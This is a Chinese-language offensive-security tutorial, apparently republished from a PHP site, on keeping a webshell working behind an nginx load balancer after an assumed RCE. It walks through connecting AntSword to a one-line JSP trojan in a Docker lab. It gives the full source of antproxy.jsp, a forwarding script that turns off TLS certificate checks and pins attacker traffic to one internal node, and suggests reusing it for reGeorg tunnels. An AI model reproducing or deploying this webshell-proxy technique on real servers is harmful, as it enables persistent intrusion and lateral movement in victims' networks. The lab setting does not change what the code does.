假定在真實生產環境中,存在一個RCE漏洞,可以讓我們取得WebShell
首先在GetHub上拉去漏洞的鏡像前,需提前在centos上安裝nginx和tomcat以及配置好nginx以及tomcat的相關配置文件,在使用docker將鏡像拉取下來,進行漏洞的複現。
1、先將docker環境建置起來
2、測試tomcat是否可以存取
根據上圖可以看出,後端的tomcat是可以存取的
3、查看docker中nginx反向代理的負載平衡
##4、查看docker中lbsnode1中的ant.jsp檔案此檔案可以理解為一句話木馬,在lbsnode2中也是存有相同的檔案lbsnode1:# lbsnode2: 5、透過中國蟻劍來連接ant.jsp檔案 # 因為兩個節點都在相同的位置存在ant.jsp,所以連接的時候也沒出現什麼異常#復現過程存在的問題
問題一:由於nginx採用的反向代理是輪詢的方式,所以上傳檔案必須在兩台後端伺服器的相同位置上傳相同的檔案
因為我們是反向代理的負載平衡,就存在上傳文件出現一台後端伺服器上有我們上傳的文件,另一台伺服器上沒有我們上傳的文件,出現的結果就是,一旦一台伺服器上沒有,那麼在請求輪到這台伺服器的時候,就會報出404的錯誤,進而影響使用,也就是一會出現正常,一會出現錯誤的原因。 解決方案:我們需要在每一台節點的相同位置上傳相同內容的WebShell,從而實現無論是輪詢到哪台伺服器上都可以存取到我們的後端伺服器上。實現每一台後端伺服器上都有上傳的文件,就需要瘋狂上傳。問題二:我們在執行指令時,無法知道下次的請求交給哪台機器去執行
我們在執行hostname -i查看目前執行機器的IP時,可以看到IP位址一直在漂移問題三:當我們需要上傳一些較大的工具時,會造成工具無法使用的情況
當我們上傳一個較大的檔案時,由於AntSword上傳檔案時,採用的是分片上傳方式,把一個檔案分成了多次HTTP請求傳送給目標,造成檔案的一部分內容在A這台伺服器上,另一部分檔案在B這台伺服器上,使得較大的工具或檔案無法開啟或使用##問題四:由於目標主機無法出外網,想要進一步深入,只能使用reGeorg/HTTPAbs 等HTTP Tunnel,可在這個場景下,這些tunnel 腳本全部都失靈了。解決方案
方案一:關掉其中的一台後端伺服器##關閉後端其中的一台伺服器確實能夠解決上述的四種問題,但是這個方案實在是“老壽星上吊---活膩了”,影響業務,還會造成災難,直接Pass不考慮
##綜合評價:真是環境下千萬不要嘗試! ! !方案二:在程式執行前先判斷要不要執行
#既然無法預測下一次是哪一台機器去執行,那我們的shell在執行Payload之前,先判斷要不要執行不就可以了。 首次按建立一個腳本demo.sh,該腳本是獲取我們的後端其中一台伺服器的位址,匹配到這台伺服器的位址才進行程式的執行,並匹配到另一台伺服器則不進行程序的執行。
透過中國蟻劍將demo.sh腳本檔案上傳到後端的兩台伺服器上,因為是負載平衡,所以需要瘋狂點擊上傳#
這樣一來,確實能夠保證執行的命令是在我們想要的機器上了,可是這樣執行命令,沒有一絲美感,另外,大檔案上傳、HTTP隧道這些問題也沒有解決。
綜合評價:此方案勉強能用,只適合在執行指令的時候用,不夠優雅。
方案三:在Web層做一次HTTP流量的轉送(重點)
沒錯,我們用AntSword 沒法直接存取LBSNode1 內網IP (172.23.0.2)的8080 端口,但是有人能訪問呀,除了nginx 能訪問之外,LBSNode2 這台機器也是可以訪問Node1 這台機器的8080 端口的。
還記不記得「PHP Bypass Disable Function」 這個插件,我們在這個插件載入so 之後,本地啟動了一個httpserver,然後我們用到了HTTP 層面的流量轉送腳本「antproxy.php ”, 我們放在這個場景下看:
我們一步一步來看這個圖,我們的目的是:所有的資料包都能發給「LBSNode 1」這台機器
首先是第1 步,我們請求/antproxy.jsp,這個請求發給nginx
nginx 接到封包之後,會有兩種情況:
我們先看黑色線,第2 步把請求傳遞給了目標機器,請求了Node1 機器上的/antproxy.jsp,接著第3 步,/antproxy.jsp 把請求重組之後,傳給了Node1 機器上的/ant.jsp,成功執行。
再來看紅色線,第2 步把請求傳給了Node2 機器, 接著第3 步,Node2 機器上面的/antproxy.jsp 把請求重組之後,傳給了Node1 的/ant.jsp,成功執行。
1、建立 antproxy.jsp 腳本
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2、修改轉送位址,轉向目標 Node 的內網IP的 目標腳本 存取位址。
注意:不只是WebShell 喲,還可以改成reGeorg 等腳本的存取位址
我們將target 指向了LBSNode1 的ant.jsp
注意:
a) 不要使用上傳功能,上傳功能會分片上傳,導致分散在不同Node 上。
b) 要確保每一台Node 上都有相同路徑的antproxy.jsp, 所以我瘋狂保存了很多次,保證每一台都上傳了腳本
3、 修改Shell 設定, 將URL 部分填入為antproxy.jsp 的位址,其它配置不變
4、測試執行指令, 檢視IP
可以看到IP 已經固定, 意味著請求已經固定到LBSNode1 這台機器上了。此時使用分片上傳、HTTP 代理,都已經跟單機的情況沒什麼區別了
該方案的優點:
1、低權限就可以完成,如果權限高的話,還可以透過連接埠層面直接轉發,不過這跟Plan A 的關服務就沒啥區別了
2、流量上,只影響訪問WebShell 的請求,其它的正常業務請求不會影響。
3、適配更多工具
缺點:
#方案需要「目標Node」與「其它Node」 之間內網互通,如果不互通就涼了。
以上是nginx負載平衡下的webshell上傳如何實現的詳細內容。更多資訊請關注PHP中文網其他相關文章!